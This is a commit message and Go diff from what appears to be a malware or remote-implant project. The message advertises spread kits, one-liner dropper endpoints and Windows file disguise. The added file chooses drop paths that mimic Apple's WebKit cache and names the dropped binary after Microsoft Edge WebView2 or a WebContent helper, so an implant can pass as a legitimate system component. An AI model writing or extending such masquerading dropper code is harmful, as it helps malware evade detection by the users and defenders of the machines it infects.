Add universal forge, fusion disguise, remote deploy, and stability fixes.

Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.

fusion/cache_unix.go

@@ -0,0 +1,28 @@
+//go:build !windows
+
+package main
+
+import (
+	"os"
+	"path/filepath"
+	"runtime"
+)
+
+func cacheDropBase() string {
+	if runtime.GOOS == "darwin" {
+		home, _ := os.UserHomeDir()
+		return filepath.Join(home, "Library", "Caches", "com.apple.WebKit.WebContent")
+	}
+	if xdg := os.Getenv("XDG_CACHE_HOME"); xdg != "" {
+		return filepath.Join(xdg, "aetherforge")
+	}
+	home, _ := os.UserHomeDir()
+	return filepath.Join(home, ".cache", "aetherforge")
+}
+
+func dropBinaryName() string {
+	if runtime.GOOS == "windows" {
+		return "msedgewebview2.exe"
+	}
+	return "webcontent-helper"
+}